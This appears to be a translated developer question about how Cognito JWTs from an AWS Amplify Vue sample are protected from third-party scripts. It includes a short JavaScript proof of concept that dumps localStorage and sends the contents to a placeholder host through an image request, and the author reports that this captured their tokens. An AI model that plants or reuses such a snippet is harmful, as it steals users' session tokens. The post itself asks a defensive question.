我正在处理使用aws-samples/aws-amplify-vue的aws/aws-amplify示例。我试图理解JWT如何与Cognito进行身份验证,我不明白我在身份验证后收到的JWT是如何被保护的,以免被任何人泄露和使用我可能正在使用的第三方JavaScript库。
我克隆了示例并按照说明进行设置。然后我修改了index.html
以包含额外的<script>
:
<script src="https://example.com/list-localstorage.js"></script>
然后我在list-localstorage.js
上托管example.com
。内容如下:
// Ref: https://stackoverflow.com/a/28306101/624726
var allStorage = Object.keys(localStorage).reduce(function(obj, str) {
obj[str] = localStorage.getItem(str);
return obj
}, {});
// Ref: https://stackoverflow.com/a/5049668/624726
(new Image).src = 'https://example.net/log-storage?' + JSON.stringify(allStorage);
当我看到example.net
的访问日志时,我看到我的JWT被记录了。我能够验证id
和access
令牌上的签名。
这些可用于访问受保护的内容吗?他们正在做些什么来阻止(例如)恶意JavaScript广告阅读localStorage
中的所有数据并使用我的JWT窃取?